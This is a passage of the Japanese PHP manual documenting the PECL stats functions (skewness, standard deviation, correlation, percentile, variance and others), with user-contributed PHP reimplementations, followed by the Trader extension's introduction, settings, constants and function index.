(PECL stats >= 1.0.0)

stats_skew — 配列内のデータの歪度を計算する

説明

stats_skew ( array $a ) : float

a に含まれる値の歪度を返します。

パラメータ

a

入力配列

返り値

a に含まれる値の歪度。 a が空の場合、または、配列ではない場合は false を返します。

User Contributed Notes

Angel J. Salinas 11-Dec-2015 08:35
If you don't have the php_stats library, you can use this implementation:

  public static function getSkewness( $values )
  {
    $numValues = count( $values );
    if ( $numValues == 0 ) {
      return 0.0;
    }

    // Use function from php_stats library if available
    if ( function_exists( 'stats_skew' ) ) {
      return stats_skew( $values );
    }

    $mean = array_sum( $values ) / floatval( $numValues );

    $add2 = 0.0;
    $add3 = 0.0;
    foreach ( $values as $value ) {
      if ( ! is_numeric( $value ) ) {
        return false;
      }

      $dif = $value - $mean;
      $add2 += ( $dif * $dif );
      $add3 += ( $dif * $dif * $dif );

    } // foreach values

    $variance = $add2 / floatval( $numValues );

    return ( $add3 / floatval( $numValues ) ) / pow( $variance, 3 / 2.0  );
  }


標準偏差を返す

  • ≪ stats_skew
  • stats_stat_binomial_coef ≫
  • PHP Manual
  • 統計 関数
  • 標準偏差を返す

stats_standard_deviation

(PECL stats >= 1.0.0)

stats_standard_deviation — 標準偏差を返す

説明

stats_standard_deviation ( array $a , bool $sample = false ) : float

a に含まれる値の標準偏差を返します。

パラメータ

a

標準偏差を取得したいデータの配列。配列のすべての値が float にキャストされることに注意しましょう。

sample

a が、母集団の抽出標本であることを表します。デフォルトは false です。

返り値

成功した場合に標準偏差、失敗した場合に false を返します。

エラー / 例外

a の要素数が 2 より少ない場合に E_WARNING が発生します。

User Contributed Notes

levim at php dot net 24-Feb-2014 05:15
Here's an implementation that adheres to the PECL source quite strictly. This is useful for people who want to use it but don't have the extension, as well as for people who want to understand what is going on.

<?php

if (!function_exists('stats_standard_deviation')) {
    /**
     * This user-land implementation follows the implementation quite strictly;
     * it does not attempt to improve the code or algorithm in any way. It will
     * raise a warning if you have fewer than 2 values in your array, just like
     * the extension does (although as an E_USER_WARNING, not E_WARNING).
     *
     * @param array $a
     * @param bool $sample [optional] Defaults to false
     * @return float|bool The standard deviation or false on error.
     */
    function stats_standard_deviation(array $a, $sample = false) {
        $n = count($a);
        if ($n === 0) {
            trigger_error("The array has zero elements", E_USER_WARNING);
            return false;
        }
        if ($sample && $n === 1) {
            trigger_error("The array has only 1 element", E_USER_WARNING);
            return false;
        }
        $mean = array_sum($a) / $n;
        $carry = 0.0;
        foreach ($a as $val) {
            $d = ((double) $val) - $mean;
            $carry += $d * $d;
        };
        if ($sample) {
           --$n;
        }
        return sqrt($carry / $n);
    }
}

?>
tripollite at gmail dot com 28-Jun-2012 09:58
Function to calculate square of value - mean

<?php
function sd_square($x, $mean) { return pow($x - $mean,2); }
?>

Function to calculate standard deviation (uses sd_square)
<?php
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)) );
}
?>

works better if you don't add +1 to the count

standard deviation of a constant must be 0 ( http://en.wikipedia.org/wiki/Standard_deviation )

different way :
<?php
class Tmath{
    public static function variance($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        $total_ecart = 0;
        $moyenne = self::moyenne($data, 10*$round);
        if( $moyenne == 0)
            return 0;
        foreach( $data as $element)
        {
            $total_ecart += pow($element, 2);
        }
        return round($total_ecart/count($data) - pow($moyenne,2),$round);
    }
    public static function ecartType($data, $round = 2)
    {
        return round(sqrt(self::variance($data,10*$round)),2);
    }
    public static function moyenne($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        return round(array_sum($data)/count($data),$round) ;
    }
}
?>
pmcdougl at gac dot edu 06-Mar-2012 10:40
It should be known that this function also casts all of the values of the array to floats. If you pass an array of integers, they will come out as an array of floats.

$data = array(2,3,3,3,3,2,5);
var_dump($data);
$standardDeviation = stats_standard_deviation($data);
var_dump($data);

Prints:
array
  0 => int 2
  1 => int 3
  2 => int 3
  3 => int 3
  4 => int 3
  5 => int 2
  6 => int 5
array
  0 => float 2
  1 => float 3
  2 => float 3
  3 => float 3
  4 => float 3
  5 => float 5
  6 => float 2
Pascal Woerde 07-Sep-2010 12:04
If you want one function for the population and sample, you can use this function:

<?php

function standard_deviation($aValues, $bSample = false)
{
    $fMean = array_sum($aValues) / count($aValues);
    $fVariance = 0.0;
    foreach ($aValues as $i)
    {
        $fVariance += pow($i - $fMean, 2);
    }
    $fVariance /= ( $bSample ? count($aValues) - 1 : count($aValues) );
    return (float) sqrt($fVariance);
}
Sharon 16-Apr-2010 02:40
If you don't have the stat package you can use these functions:

<?php

// Function to calculate square of value - mean
function sd_square($x, $mean) { return pow($x - $mean,2); }

// Function to calculate standard deviation (uses sd_square)
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)-1) );
}

 ?>


二項係数を返す

  • ≪ stats_standard_deviation
  • stats_stat_correlation ≫
  • PHP Manual
  • 統計 関数
  • 二項係数を返す

stats_stat_binomial_coef

(PECL stats >= 1.0.0)

stats_stat_binomial_coef — 二項係数を返す

説明

stats_stat_binomial_coef ( int $x , int $n ) : float

n 個から x 個を選ぶ二項係数を返します。

パラメータ

x

集合から選ぶ個数

n

集合の要素数

返り値

二項係数を返します。

User Contributed Notes

There are no user contributed notes for this page.


ふたつのデータセットに対するピアソンの相関係数を返す

  • ≪ stats_stat_binomial_coef
  • stats_stat_factorial ≫
  • PHP Manual
  • 統計 関数
  • ふたつのデータセットに対するピアソンの相関係数を返す

stats_stat_correlation

(PECL stats >= 1.0.0)

stats_stat_correlation — ふたつのデータセットに対するピアソンの相関係数を返す

説明

stats_stat_correlation ( array $arr1 , array $arr2 ) : float

arr1 と arr2 の間のピアソンの相関係数を返します。

パラメータ

arr1

ひとつめの配列

arr2

ふたつめの配列

返り値

arr1 と arr2 の間のピアソンの相関係数。 失敗時は false を返します。

User Contributed Notes

non at dot com 19-Jan-2015 11:30
undefined for me, thus I've implemented my own correlation which is much faster and simpler than the one provided above.

function Corr($x, $y){

$length= count($x);
$mean1=array_sum($x) / $length;
$mean2=array_sum($y) / $length;

$a=0;
$b=0;
$axb=0;
$a2=0;
$b2=0;

for($i=0;$i<$length;$i++)
{
$a=$x[$i]-$mean1;
$b=$y[$i]-$mean2;
$axb=$axb+($a*$b);
$a2=$a2+ pow($a,2);
$b2=$b2+ pow($b,2);
}

$corr= $axb / sqrt($a2*$b2);

return $corr;
}
admin at maychu dot net (Le Cong) 14-Jun-2009 09:58
Please note that this function is reserved for two arrays with continued numbers inside (just integers).
I tested this function and found that it calculate the Pearson's Correlation Coefficient of two arrays.
---
Here's suggested documentation:

stats_stat_correlation — Calculate the Pearson's Correlation Coefficient of two arrays of continued numbers.

Parameters:
arr1 = array (integer1a, interger2a ...)
arr2 = array (integer1b, interger2b ...))
(Note that the count of elements in two arrays must be equal)

Return value: Pearson's Correlation Coefficient in decimal format (ex. 0.934399822094)

Code examples:

<?php
// Provided by admin@maychu.net
$array_x = array(5,3,6,7,4,2,9,5);
$array_y = array(4,3,4,8,3,2,10,5);
$pearson = stats_stat_correlation($array_x,$array_y);
echo $pearson;
?>
umar dot anjum at ymail dot com 04-Mar-2009 10:05
I tried to use this function, but got a not-defined error. Anyway, I have created a set of functions to replace this:

<?php

//Since Correlation needs two arrays, I am hardcoding them
$array1[0] = 59.3;
$array1[1] = 61.2;
$array1[2] = 56.8
$array1[3] = 97.55;

$array2[0] = 565.82;
$array2[1] = 54.568;
$array2[2] = 84.22;
$array2[3] = 483.55;

//To find the correlation of the two arrays, simply call the
//function Correlation that takes two arrays:

$correlation = Correlation($array1, $array2);

//Displaying the calculated Correlation:
print $correlation;

//The functions that work behind the scene to calculate the
//correlation

function Correlation($arr1, $arr2)
{
    $correlation = 0;

    $k = SumProductMeanDeviation($arr1, $arr2);
    $ssmd1 = SumSquareMeanDeviation($arr1);
    $ssmd2 = SumSquareMeanDeviation($arr2);

    $product = $ssmd1 * $ssmd2;

    $res = sqrt($product);

    $correlation = $k / $res;

    return $correlation;
}

function SumProductMeanDeviation($arr1, $arr2)
{
    $sum = 0;

    $num = count($arr1);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + ProductMeanDeviation($arr1, $arr2, $i);
    }

    return $sum;
}

function ProductMeanDeviation($arr1, $arr2, $item)
{
    return (MeanDeviation($arr1, $item) * MeanDeviation($arr2, $item));
}

function SumSquareMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + SquareMeanDeviation($arr, $i);
    }

    return $sum;
}

function SquareMeanDeviation($arr, $item)
{
    return MeanDeviation($arr, $item) * MeanDeviation($arr, $item);
}

function SumMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + MeanDeviation($arr, $i);
    }

    return $sum;
}

function MeanDeviation($arr, $item)
{
    $average = Average($arr);

    return $arr[$item] - $average;
}

function Average($arr)
{
    $sum = Sum($arr);
    $num = count($arr);

    return $sum/$num;
}

function Sum($arr)
{
    return array_sum($arr);
}

?>


整数値の階乗を返す

  • ≪ stats_stat_correlation
  • stats_stat_independent_t ≫
  • PHP Manual
  • 統計 関数
  • 整数値の階乗を返す

stats_stat_factorial

(PECL stats >= 1.0.0)

stats_stat_factorial — 整数値の階乗を返す

説明

stats_stat_factorial ( int $n ) : float

整数値 n の階乗を返します。

パラメータ

n

整数値

返り値

n の階乗

User Contributed Notes

There are no user contributed notes for this page.


独立二群の t 検定値を返す

  • ≪ stats_stat_factorial
  • stats_stat_innerproduct ≫
  • PHP Manual
  • 統計 関数
  • 独立二群の t 検定値を返す

stats_stat_independent_t

(PECL stats >= 1.0.0)

stats_stat_independent_t — 独立二群の t 検定値を返す

説明

stats_stat_independent_t ( array $arr1 , array $arr2 ) : float

独立二群 arr1 と arr2 の t 検定値を返します。

パラメータ

arr1

ひとつめの値の集合

arr2

ふたつめの値の集合

返り値

t 検定値。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ふたつのベクトルの内積を返す

  • ≪ stats_stat_independent_t
  • stats_stat_paired_t ≫
  • PHP Manual
  • 統計 関数
  • ふたつのベクトルの内積を返す

stats_stat_innerproduct

(PECL stats >= 1.0.0)

stats_stat_innerproduct — ふたつのベクトルの内積を返す

説明

stats_stat_innerproduct ( array $arr1 , array $arr2 ) : float

arr1 と arr2 の内積を返します。

パラメータ

arr1

ひとつめの配列

arr2

ふたつめの配列

返り値

arr1 と arr2 の内積。 失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


対応のある二群の t 検定値を返す

  • ≪ stats_stat_innerproduct
  • stats_stat_percentile ≫
  • PHP Manual
  • 統計 関数
  • 対応のある二群の t 検定値を返す

stats_stat_paired_t

(PECL stats >= 1.0.0)

stats_stat_paired_t — 対応のある二群の t 検定値を返す

説明

stats_stat_paired_t ( array $arr1 , array $arr2 ) : float

対応のある二群 arr1 と arr2 に対する t 検定値を返します。

パラメータ

arr1

ひとつめのサンプル

arr2

ふたつめのサンプル

返り値

t 検定値。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


パーセンタイル値を返す

  • ≪ stats_stat_paired_t
  • stats_stat_powersum ≫
  • PHP Manual
  • 統計 関数
  • パーセンタイル値を返す

stats_stat_percentile

(PECL stats >= 1.0.0)

stats_stat_percentile — パーセンタイル値を返す

説明

stats_stat_percentile ( array $arr , float $perc ) : float

配列 arr に含まれる値の perc パーセンタイル値を返します。

パラメータ

arr

入力配列

perc

パーセンタイル

返り値

入力配列のパーセンタイル値を返します。

User Contributed Notes

aboulang2002 at yahoo dot com 28-Jan-2009 05:22
If you are looking to infer the percentile from a z-score, you can use this function.
It's far from precise but does the job on most circumstances.
The error function ( erf() )is based on the approximation on wikipedia:
http://en.wikipedia.org/wiki/Error_function

<?php
function erf($x)
{
        $pi = 3.1415927;
        $a = (8*($pi - 3))/(3*$pi*(4 - $pi));
        $x2 = $x * $x;

        $ax2 = $a * $x2;
        $num = (4/$pi) + $ax2;
        $denom = 1 + $ax2;

        $inner = (-$x2)*$num/$denom;
        $erf2 = 1 - exp($inner);

        return sqrt($erf2);
}

function cdf($n)
{
        if($n < 0)
        {
                return (1 - erf($n / sqrt(2)))/2;
        }
        else
        {
                return (1 + erf($n / sqrt(2)))/2;
        }
}

// EXAMPLE
$sample = 90;
$avg = 75;
$stddev = 12;

$zscore = ($sample - $avg) / $stddev;
print 'Percentile: ' . cdf($zscore) * 100 . "\n";
?>

Where $n is the z-score

The function cdf() returns the approximed cumulative standard normal distribution ([0..1])

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (Ed) on 24-FEB-2010 which fixes the definition of $a in erf() with the note that it is "out by a factor of -1" in the original code.]
yuvaraj dot v at gmail dot com 11-Dec-2007 04:37
I have looked at the code available in the Math package for percentile. I compared the result obtained with percentile from Excel and found that it doesnt match. So i wrote my own percentile function and verified the result with the Excel's percentile.

For those of you who need the percentile calculation of Excel in php..

<?php
function mypercentile($data,$percentile){
    if( 0 < $percentile && $percentile < 1 ) {
        $p = $percentile;
    }else if( 1 < $percentile && $percentile <= 100 ) {
        $p = $percentile * .01;
    }else {
        return "";
    }
    $count = count($data);
    $allindex = ($count-1)*$p;
    $intvalindex = intval($allindex);
    $floatval = $allindex - $intvalindex;
    sort($data);
    if(!is_float($floatval)){
        $result = $data[$intvalindex];
    }else {
        if($count > $intvalindex+1)
            $result = $floatval*($data[$intvalindex+1] - $data[$intvalindex]) + $data[$intvalindex];
        else
            $result = $data[$intvalindex];
    }
    return $result;
}
?>

The above code may not be elegant.. but it solves my problem..

yuvaraj


ベクトルのべき乗和を返す

  • ≪ stats_stat_percentile
  • stats_variance ≫
  • PHP Manual
  • 統計 関数
  • ベクトルのべき乗和を返す

stats_stat_powersum

(PECL stats >= 1.0.0)

stats_stat_powersum — ベクトルのべき乗和を返す

説明

stats_stat_powersum ( array $arr , float $power ) : float

配列 arr として表されたベクトルの power 乗和を返します。

パラメータ

arr

入力配列

power

べき数

返り値

入力配列のべき乗和を返します。

User Contributed Notes

There are no user contributed notes for this page.


分散を返す

  • ≪ stats_stat_powersum
  • Trader ≫
  • PHP Manual
  • 統計 関数
  • 分散を返す

stats_variance

(PECL stats >= 1.0.0)

stats_variance — 分散を返す

説明

stats_variance ( array $a , bool $sample = false ) : float

a に含まれる値の分散を返します。

パラメータ

a

標準偏差を取得したいデータの配列。配列のすべての値が float にキャストされることに注意しましょう。

sample

a が、母集団の抽出標本であることを表します。デフォルトは false です。

返り値

成功した場合に分散、失敗した場合に false を返します。

User Contributed Notes

Anonymous 27-Feb-2009 01:43
This will return surprising values for most users, since the default of sample=false is rather unusual when speaking about variance.

Point is:
When using stats_variance($foo,TRUE) the sum is divided by n-1 while the default just divides it by n. So when you expect your variance to be lower you probable wanted to divide by n-1, therefore should set the second parameter =TRUE.


Technical Analysis for Traders

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • Trader 関数
    • trader_acos — Vector Trigonometric ACos
    • trader_ad — Chaikin A/D Line
    • trader_add — Vector Arithmetic Add
    • trader_adosc — Chaikin A/D Oscillator
    • trader_adx — Average Directional Movement Index
    • trader_adxr — Average Directional Movement Index Rating
    • trader_apo — Absolute Price Oscillator
    • trader_aroon — Aroon
    • trader_aroonosc — Aroon Oscillator
    • trader_asin — Vector Trigonometric ASin
    • trader_atan — Vector Trigonometric ATan
    • trader_atr — Average True Range
    • trader_avgprice — Average Price
    • trader_bbands — Bollinger Bands
    • trader_beta — Beta
    • trader_bop — Balance Of Power
    • trader_cci — Commodity Channel Index
    • trader_cdl2crows — Two Crows
    • trader_cdl3blackcrows — Three Black Crows
    • trader_cdl3inside — Three Inside Up/Down
    • trader_cdl3linestrike — Three-Line Strike
    • trader_cdl3outside — Three Outside Up/Down
    • trader_cdl3starsinsouth — Three Stars In The South
    • trader_cdl3whitesoldiers — Three Advancing White Soldiers
    • trader_cdlabandonedbaby — Abandoned Baby
    • trader_cdladvanceblock — Advance Block
    • trader_cdlbelthold — Belt-hold
    • trader_cdlbreakaway — Breakaway
    • trader_cdlclosingmarubozu — Closing Marubozu
    • trader_cdlconcealbabyswall — Concealing Baby Swallow
    • trader_cdlcounterattack — Counterattack
    • trader_cdldarkcloudcover — Dark Cloud Cover
    • trader_cdldoji — Doji
    • trader_cdldojistar — Doji Star
    • trader_cdldragonflydoji — Dragonfly Doji
    • trader_cdlengulfing — Engulfing Pattern
    • trader_cdleveningdojistar — Evening Doji Star
    • trader_cdleveningstar — Evening Star
    • trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines
    • trader_cdlgravestonedoji — Gravestone Doji
    • trader_cdlhammer — Hammer
    • trader_cdlhangingman — Hanging Man
    • trader_cdlharami — Harami Pattern
    • trader_cdlharamicross — Harami Cross Pattern
    • trader_cdlhighwave — High-Wave Candle
    • trader_cdlhikkake — Hikkake Pattern
    • trader_cdlhikkakemod — Modified Hikkake Pattern
    • trader_cdlhomingpigeon — Homing Pigeon
    • trader_cdlidentical3crows — Identical Three Crows
    • trader_cdlinneck — In-Neck Pattern
    • trader_cdlinvertedhammer — Inverted Hammer
    • trader_cdlkicking — Kicking
    • trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu
    • trader_cdlladderbottom — Ladder Bottom
    • trader_cdllongleggeddoji — Long Legged Doji
    • trader_cdllongline — Long Line Candle
    • trader_cdlmarubozu — Marubozu
    • trader_cdlmatchinglow — Matching Low
    • trader_cdlmathold — Mat Hold
    • trader_cdlmorningdojistar — Morning Doji Star
    • trader_cdlmorningstar — Morning Star
    • trader_cdlonneck — On-Neck Pattern
    • trader_cdlpiercing — Piercing Pattern
    • trader_cdlrickshawman — Rickshaw Man
    • trader_cdlrisefall3methods — Rising/Falling Three Methods
    • trader_cdlseparatinglines — Separating Lines
    • trader_cdlshootingstar — Shooting Star
    • trader_cdlshortline — Short Line Candle
    • trader_cdlspinningtop — Spinning Top
    • trader_cdlstalledpattern — Stalled Pattern
    • trader_cdlsticksandwich — Stick Sandwich
    • trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)
    • trader_cdltasukigap — Tasuki Gap
    • trader_cdlthrusting — Thrusting Pattern
    • trader_cdltristar — Tristar Pattern
    • trader_cdlunique3river — Unique 3 River
    • trader_cdlupsidegap2crows — Upside Gap Two Crows
    • trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods
    • trader_ceil — Vector Ceil
    • trader_cmo — Chande Momentum Oscillator
    • trader_correl — Pearson's Correlation Coefficient (r)
    • trader_cos — Vector Trigonometric Cos
    • trader_cosh — Vector Trigonometric Cosh
    • trader_dema — Double Exponential Moving Average
    • trader_div — Vector Arithmetic Div
    • trader_dx — Directional Movement Index
    • trader_ema — Exponential Moving Average
    • trader_errno — Get error code
    • trader_exp — Vector Arithmetic Exp
    • trader_floor — Vector Floor
    • trader_get_compat — Get compatibility mode
    • trader_get_unstable_period — Get unstable period
    • trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period
    • trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase
    • trader_ht_phasor — Hilbert Transform - Phasor Components
    • trader_ht_sine — Hilbert Transform - SineWave
    • trader_ht_trendline — Hilbert Transform - Instantaneous Trendline
    • trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode
    • trader_kama — Kaufman Adaptive Moving Average
    • trader_linearreg_angle — Linear Regression Angle
    • trader_linearreg_intercept — Linear Regression Intercept
    • trader_linearreg_slope — Linear Regression Slope
    • trader_linearreg — Linear Regression
    • trader_ln — Vector Log Natural
    • trader_log10 — Vector Log10
    • trader_ma — Moving average
    • trader_macd — Moving Average Convergence/Divergence
    • trader_macdext — MACD with controllable MA type
    • trader_macdfix — Moving Average Convergence/Divergence Fix 12/26
    • trader_mama — MESA Adaptive Moving Average
    • trader_mavp — Moving average with variable period
    • trader_max — Highest value over a specified period
    • trader_maxindex — Index of highest value over a specified period
    • trader_medprice — Median Price
    • trader_mfi — Money Flow Index
    • trader_midpoint — MidPoint over period
    • trader_midprice — Midpoint Price over period
    • trader_min — Lowest value over a specified period
    • trader_minindex — Index of lowest value over a specified period
    • trader_minmax — Lowest and highest values over a specified period
    • trader_minmaxindex — Indexes of lowest and highest values over a specified period
    • trader_minus_di — Minus Directional Indicator
    • trader_minus_dm — Minus Directional Movement
    • trader_mom — Momentum
    • trader_mult — Vector Arithmetic Mult
    • trader_natr — Normalized Average True Range
    • trader_obv — On Balance Volume
    • trader_plus_di — Plus Directional Indicator
    • trader_plus_dm — Plus Directional Movement
    • trader_ppo — Percentage Price Oscillator
    • trader_roc — Rate of change : ((price/prevPrice)-1)*100
    • trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice
    • trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100
    • trader_rocr — Rate of change ratio: (price/prevPrice)
    • trader_rsi — Relative Strength Index
    • trader_sar — Parabolic SAR
    • trader_sarext — Parabolic SAR - Extended
    • trader_set_compat — Set compatibility mode
    • trader_set_unstable_period — Set unstable period
    • trader_sin — Vector Trigonometric Sin
    • trader_sinh — Vector Trigonometric Sinh
    • trader_sma — Simple Moving Average
    • trader_sqrt — Vector Square Root
    • trader_stddev — Standard Deviation
    • trader_stoch — Stochastic
    • trader_stochf — Stochastic Fast
    • trader_stochrsi — Stochastic Relative Strength Index
    • trader_sub — Vector Arithmetic Subtraction
    • trader_sum — Summation
    • trader_t3 — Triple Exponential Moving Average (T3)
    • trader_tan — Vector Trigonometric Tan
    • trader_tanh — Vector Trigonometric Tanh
    • trader_tema — Triple Exponential Moving Average
    • trader_trange — True Range
    • trader_trima — Triangular Moving Average
    • trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA
    • trader_tsf — Time Series Forecast
    • trader_typprice — Typical Price
    • trader_ultosc — Ultimate Oscillator
    • trader_var — Variance
    • trader_wclprice — Weighted Close Price
    • trader_willr — Williams' %R
    • trader_wma — Weighted Moving Average

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The trader extension is a free open source stock library based on TA-Lib. It's dedicated to trading software developers requiring to perform technical analysis of financial market data. Alongside many indicators like ADX, MACD, RSI, Stochastic, TRIX the candlestick pattern recognition and several vector arithmetic and algebraic functions are present.

Calculations can be done in two modes - TA-Lib and Metastock. Changing it using trader_set_compat() will affect the way some trader functions work.

Some trader functions provide different results depending of the "starting point" of the data being involved. This is often referred as a function having memories. An example of such function is the Exponential Moving Average. It is possible to control the unstable period (the amount of data to strip off) using trader_set_unstable_period() function.

Extended documentation about indicators, formulas and implementations in other programming languages can be found under » tadoc.org.

User Contributed Notes

There are no user contributed notes for this page.


要件

The trader extension is based on » TA-Lib. TA-Lib is fully integrated into the extension, therefore no external libraries are needed.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/trader.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/trader/.

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Trader 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
trader.real_precision | 3 | PHP_INI_ALL | Since trader 0.2.1
trader.real_round_mode | HALF_DOWN | PHP_INI_ALL | Since trader 0.3.0

以下に設定ディレクティブに関する 簡単な説明を示します。

trader.real_precision int

All the values in the returned arrays will be rounded to this precision. However the calculations inside TA-Lib happen with unrounded values.

trader.real_round_mode string

Controls the trader real rounding policy. Valid values are HALF_UP, HALF_DOWN, HALF_EVEN and HALF_ODD. The behaviour is identical to the round() function used with the mode argument.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

TRADER_MA_TYPE_SMA (int)
TRADER_MA_TYPE_EMA (int)
TRADER_MA_TYPE_WMA (int)
TRADER_MA_TYPE_DEMA (int)
TRADER_MA_TYPE_TEMA (int)
TRADER_MA_TYPE_TRIMA (int)
TRADER_MA_TYPE_KAMA (int)
TRADER_MA_TYPE_MAMA (int)
TRADER_MA_TYPE_T3 (int)
TRADER_REAL_MIN (float)
TRADER_REAL_MAX (float)
TRADER_FUNC_UNST_ADX (int)
TRADER_FUNC_UNST_ADXR (int)
TRADER_FUNC_UNST_ATR (int)
TRADER_FUNC_UNST_CMO (int)
TRADER_FUNC_UNST_DX (int)
TRADER_FUNC_UNST_EMA (int)
TRADER_FUNC_UNST_HT_DCPERIOD (int)
TRADER_FUNC_UNST_HT_DCPHASE (int)
TRADER_FUNC_UNST_HT_PHASOR (int)
TRADER_FUNC_UNST_HT_SINE (int)
TRADER_FUNC_UNST_HT_TRENDLINE (int)
TRADER_FUNC_UNST_HT_TRENDMODE (int)
TRADER_FUNC_UNST_KAMA (int)
TRADER_FUNC_UNST_MAMA (int)
TRADER_FUNC_UNST_MFI (int)
TRADER_FUNC_UNST_MINUS_DI (int)
TRADER_FUNC_UNST_MINUS_DM (int)
TRADER_FUNC_UNST_NATR (int)
TRADER_FUNC_UNST_PLUS_DI (int)
TRADER_FUNC_UNST_PLUS_DM (int)
TRADER_FUNC_UNST_RSI (int)
TRADER_FUNC_UNST_STOCHRSI (int)
TRADER_FUNC_UNST_T3 (int)
TRADER_FUNC_UNST_ALL (int)
TRADER_FUNC_UNST_NONE (int)
TRADER_COMPATIBILITY_DEFAULT (int)
TRADER_COMPATIBILITY_METASTOCK (int)
TRADER_ERR_SUCCESS (int)
TRADER_ERR_LIB_NOT_INITIALIZE (int)
TRADER_ERR_BAD_PARAM (int)
TRADER_ERR_ALLOC_ERR (int)
TRADER_ERR_GROUP_NOT_FOUND (int)
TRADER_ERR_FUNC_NOT_FOUND (int)
TRADER_ERR_INVALID_HANDLE (int)
TRADER_ERR_INVALID_PARAM_HOLDER (int)
TRADER_ERR_INVALID_PARAM_HOLDER_TYPE (int)
TRADER_ERR_INVALID_PARAM_FUNCTION (int)
TRADER_ERR_INPUT_NOT_ALL_INITIALIZE (int)
TRADER_ERR_OUTPUT_NOT_ALL_INITIALIZE (int)
TRADER_ERR_OUT_OF_RANGE_START_INDEX (int)
TRADER_ERR_OUT_OF_RANGE_END_INDEX (int)
TRADER_ERR_INVALID_LIST_TYPE (int)
TRADER_ERR_BAD_OBJECT (int)
TRADER_ERR_NOT_SUPPORTED (int)
TRADER_ERR_INTERNAL_ERROR (int)
TRADER_ERR_UNKNOWN_ERROR (int)

User Contributed Notes

There are no user contributed notes for this page.


Trader 関数

目次

  • trader_acos — Vector Trigonometric ACos
  • trader_ad — Chaikin A/D Line
  • trader_add — Vector Arithmetic Add
  • trader_adosc — Chaikin A/D Oscillator
  • trader_adx — Average Directional Movement Index
  • trader_adxr — Average Directional Movement Index Rating
  • trader_apo — Absolute Price Oscillator
  • trader_aroon — Aroon
  • trader_aroonosc — Aroon Oscillator
  • trader_asin — Vector Trigonometric ASin
  • trader_atan — Vector Trigonometric ATan
  • trader_atr — Average True Range
  • trader_avgprice — Average Price
  • trader_bbands — Bollinger Bands
  • trader_beta — Beta
  • trader_bop — Balance Of Power
  • trader_cci — Commodity Channel Index
  • trader_cdl2crows — Two Crows
  • trader_cdl3blackcrows — Three Black Crows
  • trader_cdl3inside — Three Inside Up/Down
  • trader_cdl3linestrike — Three-Line Strike
  • trader_cdl3outside — Three Outside Up/Down
  • trader_cdl3starsinsouth — Three Stars In The South
  • trader_cdl3whitesoldiers — Three Advancing White Soldiers
  • trader_cdlabandonedbaby — Abandoned Baby
  • trader_cdladvanceblock — Advance Block
  • trader_cdlbelthold — Belt-hold
  • trader_cdlbreakaway — Breakaway
  • trader_cdlclosingmarubozu — Closing Marubozu
  • trader_cdlconcealbabyswall — Concealing Baby Swallow
  • trader_cdlcounterattack — Counterattack
  • trader_cdldarkcloudcover — Dark Cloud Cover
  • trader_cdldoji — Doji
  • trader_cdldojistar — Doji Star
  • trader_cdldragonflydoji — Dragonfly Doji
  • trader_cdlengulfing — Engulfing Pattern
  • trader_cdleveningdojistar — Evening Doji Star
  • trader_cdleveningstar — Evening Star
  • trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines
  • trader_cdlgravestonedoji — Gravestone Doji
  • trader_cdlhammer — Hammer
  • trader_cdlhangingman — Hanging Man
  • trader_cdlharami — Harami Pattern
  • trader_cdlharamicross — Harami Cross Pattern
  • trader_cdlhighwave — High-Wave Candle
  • trader_cdlhikkake — Hikkake Pattern
  • trader_cdlhikkakemod — Modified Hikkake Pattern
  • trader_cdlhomingpigeon — Homing Pigeon
  • trader_cdlidentical3crows — Identical Three Crows
  • trader_cdlinneck — In-Neck Pattern
  • trader_cdlinvertedhammer — Inverted Hammer
  • trader_cdlkicking — Kicking
  • trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu
  • trader_cdlladderbottom — Ladder Bottom
  • trader_cdllongleggeddoji — Long Legged Doji
  • trader_cdllongline — Long Line Candle
  • trader_cdlmarubozu — Marubozu
  • trader_cdlmatchinglow — Matching Low
  • trader_cdlmathold — Mat Hold
  • trader_cdlmorningdojistar — Morning Doji Star
  • trader_cdlmorningstar — Morning Star
  • trader_cdlonneck — On-Neck Pattern
  • trader_cdlpiercing — Piercing Pattern
  • trader_cdlrickshawman — Rickshaw Man
